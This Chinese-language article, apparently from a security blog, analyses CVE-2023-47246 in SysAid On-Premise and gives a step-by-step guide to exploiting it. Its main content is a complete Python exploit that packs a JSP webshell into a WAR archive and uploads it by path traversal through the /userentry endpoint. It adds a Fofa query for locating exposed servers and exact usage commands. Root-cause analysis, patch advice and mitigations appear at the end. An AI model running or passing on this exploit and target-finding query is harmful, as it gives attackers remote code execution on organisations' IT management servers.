CVE-2023-47246 SysAid Server文件上传漏洞分析
字数 1262 2025-08-20 18:18:16

CVE-2023-47246 SysAid Server文件上传漏洞分析与利用指南

漏洞概述

CVE-2023-47246是SysAid On-Premise软件中存在的一个任意文件上传漏洞。SysAid On-Premise是一种IT服务管理(ITSM)和IT资产管理(ITAM)解决方案,为企业提供全面的IT管理服务。该漏洞允许攻击者通过上传webshell获取目标系统权限。

受影响版本

  • 影响版本:version < 23.3.36
  • 厂商官网:https://www.sysaid.com/

漏洞影响

该漏洞影响所有运行SysAid On-Premise且版本低于23.3.36的系统。攻击者可以利用此漏洞:

  1. 上传任意文件到服务器
  2. 通过上传webshell获取系统控制权
  3. 实现远程代码执行(RCE)

漏洞环境识别

可以使用以下Fofa查询语句识别潜在受影响系统:

body="sysaid-logo-dark-green.png"

漏洞利用

利用工具准备

Python利用脚本如下:

import argparse
import binascii
import random
import time
import zipfile
import zlib
import urllib3
import requests

urllib3.disable_warnings()

def compressFile(shellFile, warFile):
    try:
        with zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED) as zipf:
            zipf.write(shellFile)
        zipf.close()
        return True
    except:
        return False

def getHexData(warFile):
    with open(warFile, 'rb') as warfile:
        data = warfile.read()
    warfile.close()
    compressed_data = zlib.compress(data)
    hex_data = binascii.hexlify(compressed_data).decode()
    return hex_data

def generateRandomDirectoryName(num):
    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    return ''.join(random.choice(charset) for _ in range(num))

def get_random_agent():
    agent_list = [
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'
    ]
    return agent_list[random.randint(0, len(agent_list) - 1)]

def shellUpload(url, proxy, directoryName, shellFile):
    userEntryUrl = f"{url}/userentry?accountId=/../../../tomcat/webapps/{directoryName}/&symbolName=test&base64UserName=YWRtaW4="
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": get_random_agent()
    }
    shellFileName = shellFile.split(".")[0]
    warFile = f"{shellFileName}.war"
    if compressFile(shellFile, warFile):
        shellHex = getHexData(warFile=warFile)
        data = binascii.unhexlify(shellHex)
        resp = requests.post(url=userEntryUrl, headers=headers, data=data, proxies=proxy, verify=False)
        print("\033[92m[+] Shell file compressed successfully!\033[0m")
        return resp
    else:
        print("\033[91m[x] Shell file compression failed.\033[0m")
        exit(0)

def shellTest(url, proxy, directoryName, shellFile):
    userEntryUrl = f"{url}/{directoryName}/{shellFile}"
    headers = {
        "User-Agent": get_random_agent()
    }
    resp = requests.get(url=userEntryUrl, headers=headers, timeout=15, proxies=proxy, verify=False)
    return resp, userEntryUrl

def exploit(url, proxy, shellFile):
    print(f"\033[94m[*] start to attack: {url}\033[0m")
    directoryName = generateRandomDirectoryName(5)
    userentryResp = shellUpload(url, proxy, directoryName, shellFile)
    print(f"\033[94m[*] Wait 9 seconds...\033[0m")
    time.sleep(9)
    cveTestResp, userEntryUrl = shellTest(url, proxy, directoryName, shellFile)
    if userentryResp.status_code == 200 and cveTestResp.status_code == 200:
        print(f"\033[92m[+] The website [{url}] has vulnerability CVE-2023-47246! Shell path: {userEntryUrl}\033[0m")
    else:
        print(f"\033[91m[x] The website [{url}] has no vulnerability CVE-2023-47246.\033[0m")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="SysAid Server remote code execution vulnerability CVE-2023-47246",
        add_help="eg: python CVE-2023-47246-RCE.py -u https://192.168.149.150:8443")
    parser.add_argument("-u", "--url", help="target URL")
    parser.add_argument("-p", "--proxy", help="proxy, eg: http://127.0.0.1:7890")
    parser.add_argument("-f", "--file", help="shell file, eg: shell.jsp")
    args = parser.parse_args()
    if args.url.endswith("/"):
        url = args.url[:-1]
    else:
        url = args.url
    if args.proxy:
        proxy = {
            'http': args.proxy,
            'https': args.proxy
        }
    else:
        proxy = {}
    exploit(url, proxy, args.file)

利用步骤

  1. 准备一个简单的JSP webshell文件,例如2.jsp,内容为:
hello<%=8*8%>
  1. 运行利用脚本:
python CVE-2023-47246-EXP.py -u http://host:8080 -p http://127.0.0.1:8088 -f 2.jsp
  1. 脚本执行成功后,会生成一个随机目录名(如6YY7Y),webshell的访问路径为:
http://domain/6YY7Y/2.jsp

漏洞分析

漏洞位于com.ilient.server.UserEntry类的doPost()方法中:

  1. 攻击者通过POST请求向/userentry端点发送数据
  2. 服务器读取POST数据内容
  3. 根据accountId参数构建File对象,该参数未做路径限制,允许目录穿越
  4. 服务器将POST数据写入zip文件
  5. 调用a(var31, var11)方法对zip文件进行解压

关键问题:

  • accountId参数未做安全过滤,允许../../../这样的路径穿越
  • 上传的文件内容未做验证,允许任意文件上传
  • 上传后自动解压zip文件,导致任意文件写入

漏洞修复

官方已在23.3.36版本中修复此漏洞,建议:

  1. 立即升级到最新版本(23.3.36或更高)
  2. 下载地址:https://documentation.sysaid.com/docs/latest-version-installation-files
  3. 官方安全公告:https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification

缓解措施

如果无法立即升级,可考虑以下临时缓解措施:

  1. 限制对/userentry端点的访问
  2. 监控服务器上异常的文件创建
  3. 检查webapps目录下是否有可疑文件

参考链接

  1. 官方安全公告:https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
  2. 漏洞利用代码:https://github.com/W01fh4cker/CVE-2023-47246
CVE-2023-47246 SysAid Server文件上传漏洞分析与利用指南 漏洞概述 CVE-2023-47246是SysAid On-Premise软件中存在的一个任意文件上传漏洞。SysAid On-Premise是一种IT服务管理(ITSM)和IT资产管理(ITAM)解决方案,为企业提供全面的IT管理服务。该漏洞允许攻击者通过上传webshell获取目标系统权限。 受影响版本 影响版本:version < 23.3.36 厂商官网:https://www.sysaid.com/ 漏洞影响 该漏洞影响所有运行SysAid On-Premise且版本低于23.3.36的系统。攻击者可以利用此漏洞: 上传任意文件到服务器 通过上传webshell获取系统控制权 实现远程代码执行(RCE) 漏洞环境识别 可以使用以下Fofa查询语句识别潜在受影响系统: 漏洞利用 利用工具准备 Python利用脚本如下: 利用步骤 准备一个简单的JSP webshell文件,例如 2.jsp ,内容为: 运行利用脚本: 脚本执行成功后,会生成一个随机目录名(如 6YY7Y ),webshell的访问路径为: 漏洞分析 漏洞位于 com.ilient.server.UserEntry 类的 doPost() 方法中: 攻击者通过POST请求向 /userentry 端点发送数据 服务器读取POST数据内容 根据 accountId 参数构建File对象,该参数未做路径限制,允许目录穿越 服务器将POST数据写入zip文件 调用 a(var31, var11) 方法对zip文件进行解压 关键问题: accountId 参数未做安全过滤,允许 ../../../ 这样的路径穿越 上传的文件内容未做验证,允许任意文件上传 上传后自动解压zip文件,导致任意文件写入 漏洞修复 官方已在23.3.36版本中修复此漏洞,建议: 立即升级到最新版本(23.3.36或更高) 下载地址:https://documentation.sysaid.com/docs/latest-version-installation-files 官方安全公告:https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification 缓解措施 如果无法立即升级,可考虑以下临时缓解措施: 限制对 /userentry 端点的访问 监控服务器上异常的文件创建 检查webapps目录下是否有可疑文件 参考链接 官方安全公告:https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification 漏洞利用代码:https://github.com/W01fh4cker/CVE-2023-47246